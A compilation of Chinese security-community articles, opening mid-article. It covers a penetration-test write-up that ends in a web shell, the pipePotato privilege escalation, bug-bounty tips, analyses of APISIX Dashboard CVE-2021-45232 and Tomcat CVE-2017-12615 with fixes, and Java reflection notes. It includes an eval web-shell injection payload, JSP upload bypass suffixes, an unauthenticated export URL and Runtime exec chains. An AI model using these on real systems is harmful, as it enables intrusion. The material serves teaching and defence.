结合以上特征，可以精确地检测出监听了DNS的Cobalt Strike服务器，并在公网上得到了验证，同时也给出了防御的参考代码和思路。
参考链接：
<https://labs.f-secure.com/blog/detecting-exposed-cobalt-strike-dns-redirectors/>
**扫码关注公众号：非攻安全**
* * * | 社区文章 |
# 前言
一次真实渗透测试中 代码审计getshell
# 信息搜集：
## 用dirsearch进行扫描查看目录：
发现有git源码泄露，还有一些敏感目录
> * /.login
> * /phpmyadmin
> * /robots.txt
>
## 用nmap对端口进行探测
发现开放ssh 22 端口，ftp 21 端口等端口
## 浏览网站前台发现两个登陆点
登陆点A：
登陆点B：
登陆点A是扫描目录中的`/.login`,登陆处没有验证码，可以尝试爆破
登陆点B在子域中，对账号密码都有一定的格式要求
## 寻找注入点
挂上BurpSuite，浏览网站，找参数提交的点
算上之前的登陆一共找到了4个参数提交点
# 漏洞测试：
## 各种尝试：
网站存在.git 源码泄露 把网站的源码拖下来
大概的看了一下，应该是一个thinkphp框架改的，然后有一些数据库的信息，但是没什么用。
尝试以利用数据库的信息对登陆点B进行登录，失败。再对ssh和登录点A进行爆破，失败。继续下一个点。
分别对4个点进行SQL注入测试，其中只有1个点发生报错：
应该是thinkphp的框架错误，出现了网站的绝对路径。对网站的所有可能存在漏洞进行了探测，均无结果，只能回去老老实实的审代码。
## 代码审计：
先看`application`，根据代码中的路由规则访问系统,发现基本都失效了,应该是旧系统源码。硬着头皮看，看看能不能找到数据库的连接密码，从phpmyadmin来getshell。打开application就发现了一个config文件夹：
有config.php和database.php，但是都没有数据库的连接密码，无法从phpmyadmin进入数据库。然后就是一顿代码审计，并没有发现什么有用的信息。
再看看`assert`，里面有一个编辑器ckeditor：
进入该目录发现了还有一个kcfinder，这个可以在web端进行访问：
发现可以上传`.htaccess`，但是我们上传上去的文件还是不被解析，很奇怪，猜测应该外层还有一个`.htaccess`文件，使得我们的`.htaccess`未生效。在本地进行一下测试：
果然在外层存在一个`.htaccess`，这个地方的上传应该没办法了。
继续代码审计，找到了一个`imageuploader`:
尝试访问：
这次先开代码在进行测试，免得无用功。在`pluginconfig.php`发现了一些很有意思的东西。这个点并没有连接数据库，账号秘密直接写到文件中的：
获得了账号密码进行登录，再次发现上传点：
很可惜的是这里的上传点是白名单，无法通过上传进行getshell。
继续去代码审计，还是`pluginconfig.php`，发现了一个`fwrite`函数，并且这个地方并没有什么过滤，可以写入东西到pluginconfig.php文件中(后面才发现这个网上好像有这个洞
<https://visat.me/security/cve-2019-19502/，大意了>)
参数`$newpath`可控，但是被`"''"`所包裹，如果尝试闭合会被转义，
这个地方可以通过花括号来绕过，构造payload：`newpath=${${eval($_POST[123])}}`
OK，没有问题，现在在网站上进行写入
写入成功，先在尝试蚁剑进行连接
连接成功，点到为止。 | 社区文章 |
# pipePotato：一种新型的通用提权漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：xianyu & daiker
## 0x00 影响
本地提权，对于任意windows Server 2012以上的windows
server版本(win8以上的某些windows版本也行)，从Service用户提到System 用户，在windows Server
2012，windows Server 2016，windows Server 2019全补丁的情况都测试成功了。
## 0x01 攻击流程
演示基于server 2019
* laji.exe. msf 生成的正常木马
* pipserver.exe 命名管道服务端，注册命名管道
* spoolssClient.exe 打印机rpc调用客户端
首先，攻击者拥有一个服务用户，这里演示采用的是IIS服务的用户。攻击者通过pipeserver.exe注册一个名为pipexpipespoolss的恶意的命名管道等待高权限用户来连接以模拟高权限用户权限，然后通过spoolssClient.exe迫使system用户来访问攻击者构建的恶意命名管道，从而模拟system用户运行任意应用程序
## 0x02 漏洞成因
spoolsv.exe 进程会注册一个 rpc 服务,任何授权用户可以访问他，RPC 服务里面存在一个函数
RpcRemoteFindFirstPrinterChangeNotificationEx
<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/eb66b221-1c1f-4249-b8bc-c5befec2314d>
pszLocalMachine 可以是一个 UNC 路径(\host)，然后 system 用户会访问 \hostpipespoolss,
在文档 [https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/9b3f8135-7022-4b72-accb-aefcc360c83b里面](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/9b3f8135-7022-4b72-accb-aefcc360c83b%E9%87%8C%E9%9D%A2)
server name 是这样规范的
SERVER_NAME = "\" host "" | ""
如果 SERVER_NAME 是 \127.0.0.1 ,system用户会访问 \127.0.0.1pipespoolss
问题是，如果 SERVER_NAME
是\127.0.0.1/pipe/xx,system用户会访问\127.0.0.1pipexxxpipespoolss，这个命名管道并没有注册，攻击者就可以注册这个命名管道。
当 system 用户访问这个命名管道(pipexpipespoolss)，我们就能模拟system 用户开启一个新的进程。
## 0x03 时间线
2019年12月5日 向MSRC进行反馈，分配编号`VULN-013177` `CRM:0279000283```
2019年12月5日 分配Case编号 `MSRC Case 55249`
2019年12月15日 向MSRC发邮件询求进度，微软2019年12月18日回复
2019年12月27日 MSRC 回信认为impersonate的权限需要administrator或者等同用户才拥有，Administrator-to-kernel并不是安全问题。事实上，所有的service 用户(包括local service，network service
都具备这个权限)。我们向MSRC发邮件反馈此事
the account used to impersonate the named pipe client use the SeImpersonatePrivilege. The SeImpersonatePrivilege is only available to accounts that have administrator or equivalent privileges. Per our servicing criteria: Administrator-to-kernel is not a security boundary.
2019年12月28日 MSRC 回信会处理，至今没有回信
2020年5月6日 在安全客上披露 | 社区文章 |
# 新手漏洞挖掘经验分享
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
（建议至少得有web安全基础，了解owasptop10原理，厉害的表哥除外，当我没说 ）
## 0x00 前言
开始之前做个自我介绍，我是来自F0tsec团队的Subs，也是刚接触安全没有多久的菜狗，刚趁着安全客推荐的平台活动，尝试了三天漏洞挖掘，我运气挺好的（挖到了四个低危，2个中危，一个严重漏洞），也因此结实了SRC年度榜一榜二的几位大师傅，得到了一些心得吧，希望能帮助到一些和我一样入门的朋友。（互相交流哈~
）
## 0x01 心态
SRC是一场多对多的较量，对手是研发测试运维安全等人员，也是跟自己打一场持久战。心态很重要！换个简单的话描述下，总有新功能在web应用上部署，是网站肯定就会存在漏洞，但是你既然选择了漏洞挖掘，就要做到对于好几天可能一无所获的心态调整。只有你足够坚信你自己，
就可以小有成就。
## 0x02 SRC的入坑潜规则
**什么是SRC？**
Security Response Center 安全应急响应中心
现在市面上存在了各种厂商的安全应急响应中心，比如我们的安全客就收录了很多连接，嘻嘻嘻
这里吹捧一波，大爱安全客。（[https://www.anquanke.com/src）](https://www.anquanke.com/src%EF%BC%89)
`1.了解你所要提交的SRC平台规则和要求，不同的平台给出的评分标准不同`
比如说这个网站根本不收反射型xss漏洞，那你却在一直尝试，岂不是浪费时间。所以第一步去读平台的漏洞评分标准。
`2.详细阅读测试范围，不要超出，会有非法测试的风险！`
SRC平台会有规定的众测任务，有域名限制，超出的也不会给漏洞审核的，而且存在的非法测试的风险这里需要切记！
`3.遵循安全测试规范，比如sql注入会有要求，哪些东西不能读取，最多读取多少条`
sql注入可不要脱裤啊！要不就喝茶了！这是原则问题了！！
`4.看礼品啊！！！有些平台的礼品和赏金是很丰富的嘻嘻嘻！！！`
## 0x03 第一步 信息收集
在详细了解了域名范围后，就要对旗下的域名范围进行信息收集，要不你连需要测试的网站是啥都不知道，那还测试个什么劲。
这里会有一些在线的子域名收集工具（可自行百度，因为工具比较多，最适合自己的好），以及子域名挖掘机（软件类的），在各大安全社区论坛都有相关文章可以进行学习，我就是在安全客学到了很多东西哈哈哈！！！
但信息收集不是简简单单的子域名收集，更重要的是网段，以及扩展域名，那么扩展域名怎么找呢？通常我通过域名whois来通过注册人、联系邮箱进行查找，第二就是html中的代码。ip段的收集不能说收集完了就了事了，而是需要通过IP分布来确定核心段、边缘段、云服段等等，并且需要知道目标厂商开发喜欢使用什么框架，至于怎么去找使用框架可以查看目标厂商的招聘网站看看，说不定有惊喜，在边缘段中一般会存在N台测试机器，测试机器是我们最好的突破口。因为测试机器往往不会关闭debug、并且登录账号通常为弱口令。
## 0x04 第二步 漏洞挖掘
参照着评定规则进行漏洞的挖掘。
常见漏洞类型:
XSS、SQL注入、CSRF、权限绕过、文件上传、弱口令、代码执行等等。
我们不要心机，每个都进行测试，往往会什么也得不到，一项一项来。
### 漏洞挖掘 1 – – – – 漏洞扫描器
关于漏洞挖掘过程中的扫描器使用问题：
网上有很多扫描器的存在，例如AWVS APPscan
等重型扫描器，但是很多网站是有防护系统的，例如安居客和58那边就会轻易的办掉你的ip，往往得不偿失，而且重型扫描器也可能会对网站造成危害，慎用。
推荐的话用BBscan这种轻量级的扫描器去扫，重点放在路径的扫描，比如说有没有403、404的站点，爆破API接口端点、路径一些的。还是不要太依赖于扫描器，强是强，但是还是自己来的踏实！
### 漏洞挖掘 2 – – – – 常用工具
在和榜一榜二表哥们的聊天中，他们都不怎么使用扫描器去进行测试。这里给大家推荐两个工具：
**第一：BURPSUITE**
（浏览器推荐Chorme 和Firefox浏览器 可以使用很多代理插件 我喜欢SwitchyOmega）
burp上可以添加很多插件实现不同的功能（表哥说玩的好也可以和xray实现自动化漏扫）
抓包改包很是方便，重放和密码爆破各种功能==神器无疑。
**第二： Fiddler**
Fiddler在进行并发测试的时候很舒服！！
自行体验吧 功能和burp各有千秋！！
**表哥们说就这两大工具会用就非常厉害了！！！**
### 漏洞挖掘 3 – – – – 入手点
上来对提交的一些表单（例如：意见反馈、文件上传等）要特别敏感，还有就是一些功能点（例如：付款的金额校验、修改密码的sign值替换等），进来多找功能点的进行测试，不要对着html一直有想法，毕竟不会表哥们的http协议层的攻击，新手入门可以多在意一些数值溢出，以及接口的利用，还有就是任意文件上传这些点，慢慢在培养自己的自信心。
通过和表哥们的聊天得知，很多src大佬新手阶段都是从逻辑漏洞开始的，可以尝试一些并发的逻辑漏洞，每个网站都或多或少会存在一些的，就看你有没有善于发现的眼睛和超乎常人的耐心。
各个模块都有相对应的靶场（例如sql注入有sqli这样一些漏洞靶场进行训练）可以对自己进行漏洞利用的锻炼，不断提高经验，这里推荐
owasp虚拟机靶场，虚拟机中集成各种靶场，可以自行百度下。
### 漏洞挖掘 4 – – – – 提升危害
如果不是众测挖到漏洞后不建议直接提交，而是思考如何才能扩大战果，比如挖到XSS后，思考能不能拿到cookie？如果不能退一步可以不以找一个csrf将漏洞变成XSRF以此照成蠕虫？在测试机器通过弱口令进去后能不能Getshell，拿到shell后进行审计又是十几个高危。在对只有登录框界面进行测试时一定要多注意子目录以及接口。IP打开后403、404不要忽略，先扫目录，扫完了在说，往往高危会存在与许多低微的并发利用。
## 0x05 第三步 漏洞报告
报告不是直接把漏洞贴上去就行了，而且需要讲你是怎样发现这个资产、测试过程中遇到的问题、解决这些问题用了哪些方法、能够造成什么影响？尽可能的精简，从你是审核的角度去看待你提交的报告这样才能拿到更多的赏金或积分。（人情社会下，要互相体谅理解）
## 0x06 第四步 挖掘漏洞过程的一些分享
**浅谈**
很多人觉得难是因为没有洞察力、思考力以及大局观。什么是洞察力？简单的来说就是通过参数的变化观察页面的不同，而思考力就是结合观察到的信息去猜想后端的实现以此为基础挖掘漏洞。至于大局观不是一两句话能说清楚的，涉及到渗透的经验了。
**经验从何而来？**
1.可以参加一些CTF比赛，进行锻炼和升级，能很广泛的提升自己的接触面和对漏洞的认知。
2.不要企图去加一下大师傅去骚扰他们，让大师傅们分享怎么快速挖洞的技巧，没有一步登天的好事，所有的坑都需要自己去踩，每一个人都有自己的路去走。（和别人聊天前必读《提问的艺术》和善用百度）多认识一些朋友，互相分享漏洞的思路，每天去阅读些大师傅写的文章，学习骚姿势！！不断的提升自己！！
3.找大师傅们尽量听他们给的建议，或者给你的规划，而不是说一味的去问怎么挖洞，这种问题就相当于，一个小孩还不会写字，在让你教他写作文一样，毫无意义，这个过程需要自己慢慢的积累和学习，而不是让别人喂，来让别人施舍，只会让别人看不起自己！
4.一定要有自信心，对于我们平常使用的东西，敢于发出挑战，比如让你挖百度的漏洞，你自己从心理上都把自己吓跑了（诶呀
我天天用的东西，怎么会存在漏洞呢），摆正心态，不要抱着一定会被审核通过的想法，被忽略很正常。
**趣谈**
之前运气好，挖到的一个洞的思路就分享给大家，首先是通过一个很微小的信息泄露在http的响应头中，找到了他们使用的cms版本号，后来通过搜索市面上的漏洞，发现最新版的问题都不存在了，后来又下载了最新的源码进行了代码审计，然后正好那段时间在学，就发现了个sql注入点。
## 0x06 总结
em…
这篇文章可能没有像别的大师傅写出来很炫酷的姿势，希望对和我一样的新入门的朋友能产生一些激励，带来新的思路，因为交src总有被忽略的时候，不要灰心丧气，年轻的程序员从来不缺重头再来的勇气！加油！！希望可以有所帮助！！也可以加我qq（带我）互相交流哈哈！！
`所以没有人的成功是偶然的，要多提升自己的能力，而不是想着去如何如何赚钱，赚钱固然很好，但赚钱当你成功之后是顺带的事情，把眼光放远，我们才能走的更远！！` | 社区文章 |
## 0x00 漏洞描述
Apache APISIX 是一个动态、实时、高性能的 API 网关，
提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。Apache APISIX Dashboard 使用户可通过前端界面操作
Apache APISIX。该漏洞的存在是由于 Manager API 中的错误。Manager API 在 gin 框架的基础上引入了 droplet
框架，所有的 API 和鉴权中间件都是基于 droplet 框架开发的。但是有些 API 直接使用了框架 gin 的接口，从而绕过身份验证。
## 0x01 影响版本
Apache APISIX Dashboard 2.7 - 2.10 版本
## 0x02 漏洞分析
根据<https://nvd.nist.gov/vuln/detail/CVE-2021-45232> 分析得出是两个api出的问题，造成的未授权
接着来到该项目的github开源地址，定位补丁
发现此处修复鉴权，那么跟进去看一下
首先在==http.go==删除了目录==/manager-api/internal/filter==的包导入并且删除了filter鉴权方式
跟进修复后目录==/manager-api/internal==
发现相关修复点
继续跟进修复补丁
修改了==api/internal/filter/authentication.go==与==api/internal/filter/authentication_test.go==的鉴权方式
路径==/apisix/admin/tool/version==，可得到版本信息，其他路径均会跳回登录界面
在test中发现路径==/apisix/admin/routes==，经过测试，此路径需要授权，继续跟进
在后面经过一小部分的地方其他修复后，定位到==api/internal/route.go==，此为官方描述未授权点之一
发现新增鉴权，猜测与api漏洞点相关，继续跟进
之后发现==api/test/e2enew/migrate/migrate_test.go==做了大量修改
首先对两个路径==/apisix/admin/migrate/export==和==/apisix/admin/migrate/import==新增了鉴权方式，结合官方漏洞描述，猜测这两个路径为漏洞点，继续跟进
发现在原有访问==/apisix/admin/migrate/export==此路径前新增了四个了对http获取token的鉴权方式。由此来判断请求是否含有正确的token，由此判断，该路径为漏洞点。
## 0x03 漏洞复现
访问
http://xxx.xxx.xxx.xxx:9000/apisix/admin/migrate/export
## 0x04 修复建议
1.更改默认用户名和密码
2.升级至官方最新版本：<https://github.com/apache/apisix-dashboard/releases/tag/v2.10.1>
3.设置白名单，限制ip访问。
## 0x05 参考
<https://github.com/apache/apisix-dashboard>
<https://nvd.nist.gov/vuln/detail/CVE-2021-45232>
<https://apisix.apache.org/zh/blog/2021/12/28/dashboard-cve-2021-45232/> | 社区文章 |
来源：[先知安全技术社区](https://xianzhi.aliyun.com/forum/read/2135.html "先知安全技术社区")
作者：阿里云
#### 一. 漏洞概述
2017年9月19日，Apache Tomcat 官方确认并修复了两个高危漏洞，漏洞 CVE 编号:CVE-2017-12615 和
CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间，官方评级为高危，在一定条件下，攻击者可以利用这两个漏洞，获取用户服务器上 JSP
文件的源代码，或是通过精心构造的攻击请求，向用户服务器上传恶意 JSP 文件，通过上传的 JSP 文件
，可在用户服务器上执行任意代码，从而导致数据泄露或获取服务器权限，存在高安全风险。
#### 二. 漏洞基本信息
**漏洞编号:**
CVE-2017-12616 CVE-2017-12615
**漏洞名称:**
CVE-2017-12615-远程代码执行漏洞 CVE-2017-12616-信息泄露漏洞
**官方评级:**
高危，实际测试漏洞危害较低
**漏洞描述:**
* CVE-2017-12616：信息泄露漏洞
当 Tomcat 中启用了 VirtualDirContext 时，攻击者将能通过发送精心构造的恶意请求，绕过设置的相关安全限制，或是获取到由
VirtualDirContext 提供支持资源服务的 JSP 源代码，从而造成代码信息泄露。
* CVE-2017-12615：远程代码执行漏洞
当 Tomcat 运行在 Windows 操作系统时，且启用了 HTTP PUT 请求方法（例如，将 readonly 初始化参数由默认值设置为
false），攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP
文件，JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
在一定的条件下，通过以上两个漏洞可在用户服务器上执行任意代码，从而导致数据泄露或获取服务器权限，存在高安全风险。
**漏洞利用条件:**
* CVE-2017-12615 漏洞利用需要在 Windows 环境，且需要将 readonly 初始化参数由默认值设置为 false，经过实际测试，Tomcat 7.x 版本内 web.xml 配置文件内默认配置无 readonly 参数，需要手工添加，默认配置条件下不受此漏洞影响。
* CVE-2017-12616 漏洞需要在 server.xml 文件配置 VirtualDirContext 参数，经过实际测试，Tomcat 7.x 版本内默认配置无 VirtualDirContext 参数，需要手工添加，默认配置条件下不受此漏洞影响。
**影响范围:**
CVE-2017-12615影响范围：Apache Tomcat 7.0.0 - 7.0.79 (windows环境)
CVE-2017-12616影响范围：Apache Tomcat 7.0.0 - 7.0.80
#### 三. 漏洞详细分析信息
##### 3.1. 环境搭建
Apache Tomcat 默认开启 PUT 方法，`org.apache.catalina.servlets.DefaultServlet`的
readonly 默认为 true，而且默认没有在 conf/web.xml 里写，需要手工添加并且改为 false，才可以测试。
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
##### 3.2. 原理分析
本次 Apache Tomcat 两个 CVE 漏洞涉及到 DefaultServlet 和 JspServlet，DefaultServlet
的作用是处理静态文件 ，JspServlet 的作用是处理 jsp 与 jspx 文件的请求，同时 DefaultServlet 可以处理 PUT 或
DELETE 请求，以下是默认配置情况：
除了 jsp 和 jspx 默认是由 `org.apache.jasper.servlet.JspServlet`
处理，其他默认都是由`org.apache.catalina.servlets.DefaultServlet` 来处理。
可以看出即使设置 readonly 为 false，默认 tomcat 也不允许 PUT 上传 jsp 和 jspx
文件的，因为后端都用`org.apache.jasper.servlet.JspServlet` 来处理 jsp 或是 jspx 后缀的请求了，而
JspServlet 中没有 PUT 上传的逻辑，PUT 的代码实现只存在于 DefaultServlet 中。
这个漏洞的根本是通过构造特殊后缀名，绕过了 tomcat 检测，让它用 DefaultServlet 的逻辑去处理请求，从而上传 jsp 文件。
目前主要三种方法：
* evil.jsp%20
* evil.jsp::$DATA
* evil.jsp/
利用这两种姿势 PUT 请求 tomcat 的时候，骗过 tomcat 而进入 DefaultServlet 处理的逻辑，如图:
##### 3.3. 调试代码
调试 DefaultServlet.java 代码流程，如下:
设置 readOnly 为 false
先调用栈
重点看 doPut，这里 tomcat 开始处理 PUT 请求，可以看到这里如果 readonly 是 true 就直接进入 error 了，所以需要设置成
false。
真正写入文件在 FileDirContext.java 的 rebind 函数里。
###### FileOutputStream 特性
上面遗留了一个问题就是当请求 `jsp%20` 或是 `jsp::$DATA` 后缀的时候，为什么最终却写入 `.jsp` 后缀的文件，这些其实是
java.io. FileOutputStream 的问题了，具体需要分析 jdk 的 C 代码才能得到解答，如图
跟到 open 是 native 的，已经不是 java 层面的问题了，这个 open 实际上是一个 jni 接口，然后调用 windowsAPI
CreateFileW 创建文件，这里下载 openjdk6 的 jdk 代码分析，如图:
这里 `Java_java_io_FileOutputStream_open` 便是上边 java 代码里 open 函数的C代码实现，其中参数 path
对应 open 函数的 name 变量，继续跟踪，如图:
继续跟入 winFileHandleOpen，这里最终是调用 windows 的 CreateFileW 实现文件创建，如图：
而在 windows 下，创建文件是对后缀名称有要求的，例如：如果后缀末尾是空格，会被去掉，`a.txt::$DATA`传入 CreateFileW
也会被处理成 `a.txt`
###### java.io.File 的特性
前面没有说`evil.jsp/`，这种方法也可以 PUT 上传，但是不同于上面两种，这种方法是利用了 File 类的特性，先看代码，如图:
这里测试发现 java.io.File 会过滤掉子文件名末尾的斜杠，写一个测试用例确实是这样的，如图:
具体跟踪一下代码，如图:
继续跟入，如图:
在这里这个 `normalize(path, n, (prev == slash) ? i - 1 : i)`
会将文件名末尾的/过滤掉，所以可以导致后面文件写入 jsp 文件。
##### 3.4. 漏洞复现
Apache Tomcat 7 默认值是 true，在默认条件下，无法成功利用这两个漏洞。为了触发漏洞，需要在 conf/web.xml 中
defaultservlet 的配置中手工添加如下配置：
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
我们通过构造的请求上传 b.jsp，执行该请求请求就会由 DefaultServlet
处理，从而PUT操作就会顺利执行，成功上传文件，以下通过构造请求，触发并复现该漏洞：
在分析的时候，我们也发现 File 类存在一个利用点，normalize 函数过滤掉了末尾斜杠。我们通过构造请求测试，发现可以被利用，通过对全版本测试，发现
Windows、Linux、Unix 下的 Apache Tomcat 5.X、6.X、7.x、8.x、9.x
版本均受到影响，从这点可以看出官方给出的补丁存在绕过，目前该问题已经得到 Apache 官方的确认。
#### 四. 漏洞分析总结
从以上分析可以得出，该漏洞利用的前提条件需要手动开启 readOnly 功能，以支持上传操作，在 Apache tomcat 7.X
版本默认配置的情况下是无法成功利用漏洞，从实际测试来看，漏洞危害性并没有那么高。
但是如果用户一旦启用了 readOnly 功能，黑客可利用漏洞成功入侵。
#### 五. 如何检测漏洞？
从以上分析可以得出，该漏洞利用的前提条件需要手动开启 readOnly 功能，开发或运维人员可以排查是否启用了 PUT 方法并开启了 readOnly
功能。
#### 六. 如何应对漏洞？
1. 根据业务评估配置 conf/webxml 文件的 readOnly 值为 Ture 或注释参数，禁用 PUT 方法并重启 tomcat 服务，临时规避安全风险； 注意： 如果禁用 PUT 方法，对于依赖PUT方法的应用，可能导致业务失效。
2. 目前官方已经发布了 7.0.81 版本修复了两个漏洞，建议用户尽快升级到最新版本；
3. 对于最新版本绕过的问题，建议用户持续关注官方信息，及时更新到最新版本；
4. 可以选用阿里云云盾WAF产品进行防御。
5. 未使用WAF前：
Figure 1成功上传文件
* 使用WAF后的防御效果：
Figure 2上传文件时报405，上传文件失败
#### 七. Web安全最佳实践
**为什么PUT方法不安全?**
除标准常用的 GET 和 POST 方法外，HTTP 请求还使用其他各种方法，PUT 方法是 HTTP
请求方法中的一种。此方法用于请求服务器把请求中的实体储存在请求资源下，如果请求资源已经在服务器中存在，那么将会用此请求中的数据替换原先的数据，作为指定资源的最新修改版。如果请求指定的资源不存在，将会创建这个资源，且数据位请求正文。
在以往的实际安全事件案例中，我们可以看到，由于 PUT 方法自身不带验证机制，有很多利用PUT方法很快捷简单的成功入侵服务器，上传 Webshell
或其他恶意文件，从而获取敏感数据或服务器权限，从 web 安全年最佳实践来看，我们不推荐使用这些不安全的 http OPTIONS 方法。
从安全最佳实践来说，我们应该遵循“最小化”原则，不要随意开启不必要的服务或方法，仅开启必要的功能，减小风险暴露面，从而降低安全风险，保障业务的安全性。
**最佳实践：如何知道自己网站使用了哪些http方法？**
查看响应的 Allow: GET, HEAD, POST, OPTIONS,TRACE
注：该测试仅限于自身业务。
**禁用不必要的 http 方法**
* IIS：
IIS 默认拒绝 PUT 和 DELETE 请求，如果使用了不安全的方法，建议禁用 webDAV 模块。
* Apache:
<Location />
仅允许GET和POST方法，修改后重启服务。
<LimitExcept GET POST >
Order Allow,Deny
Deny from all
</LimitExcept>
</Location>
* Tomcat：
修改web.xml配置，增加以下内容，并重启tomcat服务：
<security-constraint>
<web-resource-collection>
<url-pattern>/*</url-pattern>
<http-method>PUT</http-method>
<http-method>DELETE</http-method>
<http-method>HEAD</http-method>
<http-method>OPTIONS</http-method>
<http-method>TRACE</http-method>
</web-resource-collection>
<auth-constraint>
</auth-constraint>
</security-constraint>
<login-config>
<auth-method>BASIC</auth-method>
</login-config>
最后感谢阿里巴巴集团安全部柏通的技术支持。
#### 八. 附录
[1]. <https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html>
[2]. <http://stackoverflow.com/questions/630453/put-vs-post-in-rest>
[3]. <https://tomcat.apache.org/security-7.html>
[4]. <http://tomcat.apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.81>
* * * | 社区文章 |
# Java安全漫谈笔记
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 最开始看过p师傅这个项目，之后就有点忘了，其实也说实话之前看的时候没有太懂，于是现在在来学习一下顺便记录一下心得体会。
## 反射 1
java反射的函数
public void execute(String className, String methodName) throws Exception {
Class clazz = Class.forName(className);//获取一个类
clazz.getMethod(methodName).invoke(clazz.newInstance());//
}
* 获取类的⽅法： forName
* 实例化类对象的⽅法： newInstance
* 获取函数的⽅法： getMethod
* 执⾏函数的⽅法： invoke
forName有两个函数重载：
* Class forName(String name)
* Class forName(String name, **boolean** initialize, ClassLoader loader)
Class.forName(className)
// 等于
Class.forName(className, true, currentLoader)
`这里第二函数中的第二个参数表示是否初始化，而这里的是否初始化是告诉Java虚拟机是否执⾏”类初始化“。`其中， static {}
就是在”类初始化”的时候调⽤的，⽽ {} 中的代码会放在构造函数的 super()
后⾯，但在当前构造函数内容的前⾯。所以说我们如果控制一个恶意类，使用forName(“恶意类”)去获得就可能执行恶意代码。
red.java
package ref;
public class ref {
public static void main(String[] args) throws Exception {
String name = "ref.exp";
Class.forName(name);//获得class
}
}
exp.java
package ref;
public class exp {
static {
try {
// Runtime.getRuntime().exec("calc");
Runtime rt =Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();//对象的进程结束才返回调用
}catch (Exception e){
//do nothing
}
}
}
## 反射 2
class.newInstance() 的作用就是 **调用这个类的无参构造函数，这个比较好理解** (如果类构造函数是私有的就利用不成功)
原因是 Runtime 类的构造方法是私有的。而这种模式是 **单例模式** 。
Runtime类就是单例模式，我们只能通过 Runtime.getRuntime() 来获取到 Runtime 对
象。所以payload为
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz), "calc.exe");
这里用到了 getMethod 和 invoke 方法。
**getMethod** 的作用是通过反射获取一个类的某个特定的公有方法。而后面的 **String.class**
表示该方法接受的参数，为什么要写？是因为java中存在重载(既相同的方法可能会接受不同的参数)
**invoke** 的作用是执行方法，它的第一个参数是：
如果这个方法是一个普通方法，那么第一个参数是类对象
如果这个方法是一个静态方法，那么第一个参数是类
所以正常执行方法是 [1].method([2], [3], [4]…) ，其实在反射里就是method.invoke([1], [2], [3],
[4]…) 。
**这里的方法就是exec()是一个普通方法**
所以invoke的第一个参数就是类对象
Payload分解一下就是:
Class clazz = Class.forName("java.lang.Runtime");//获得类
Method Method = clazz.getMethod("exec", String.class);//获得exec方法
Method getRuntime = clazz.getMethod("getRuntime");//获得getRuntime方法
Object runtime = getRuntime.invoke(clazz);//实例化getRuntime方法
Method.invoke(runtime,"calc");//反射执行
## 反射 3
如果一个利用类，是有参构造方法，并且没有单例模式里的静态方法。那怎么办？？
如： **ProcessBuilder**
这里我们就需要使用另一个反射方法 **getConstructor**
getConstructor接收的参数是 **构造函数**
列表类型，因为构造函数也支持重载，所以必须用参数列表类型才能唯一确定一个构造函数。(也就是需要指明参数类型)，获取到构造函数后，我们使用newInstance来执行。(实例化类对象的⽅法)
这里我们使用反射来获取其构造函数，然后调用start() 来执行命令：
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder) clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))).start();
其实我们可以清楚的看到利用构造函数然后实例化了这个ProcessBuilder类
这里虽然可以执行成功，不过利用漏洞写exp的时候没有进行强行转换 **ProcessBuilder**
所以我们应该使用反射来执行命令。
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));
//方法.invoke(类的实例化)
通过 getMethod(“start”) 获取到start方法，然后 invoke 执行， invoke 的第一个参数就是
ProcessBuilder Object了。
在上面我们使用的构造函数参数类型是 **List** ，但是ProcessBuilder类的构造方法支持接收俩个参数类型。见最上面的图片。
**另一个是String…** 。而这个类型其实是数组。
> 这又涉及到Java里的可变长参数（varargs）了。正如其他语言一样，Java也支持可变长参数，就是当你定义函数的时候不确定参数数量的时候，可以使用
> … 这样的语法来表示“这个函数的参数个数是可变的”
>
> 对于可变长参数，Java其实在编译的时候会编译成一个数组，也就是说，如下这两种写法在底层是等价的（也就不能重载）：
>
> public void hello(String[] names) {}
>
> public void hello(String…names) {}
所以对于反射来说，如果要获取的目标函数里包含可变长参数，其实我们认为它是数组就行了。还有一个小问题：在调用 newInstance
的时候，因为这个函数本身接收的是一个可变参数，我们传给ProcessBuilder的也是一个可变长参数，二者叠加为一个二维数组，所以整个Payload如下
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(String[].class).newInstance(new
String[][]{{"calc.exe"}})).start();
不过我们这里还是需要将其转换成反射类型的payload。
Class clazz = Class.forName("java.lang.ProcessBuilder");//反射
clazz.getMethod("start").invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc"}}));
还记得前面我们利用的Runtime类？我们是使用的 **单例模式** (用 Runtime.getRuntime()来
获取对象)来生成的payload，而避免了私有的构造函数利用。
就涉及到 getDeclared 系列的反射了，与普通的 getMethod 、 getConstructor 区别是：
* getMethod 系列方法获取的是当前类中所有公共方法，包括从父类继承的方法
* getDeclaredMethod 系列方法获取的是当前类中“声明”的方法，是实在写在这个类里的，包括私有的方法，但从父类里继承来的就不包含了
getDeclaredMethod 的具体用法和 getMethod 类似， getDeclaredConstructor
的具体用法和getConstructor 类似。
这样我们就可以利用 **Runtime** 这个类的构造函数(虽然是私有的)来实例化对象，进而执行命令：
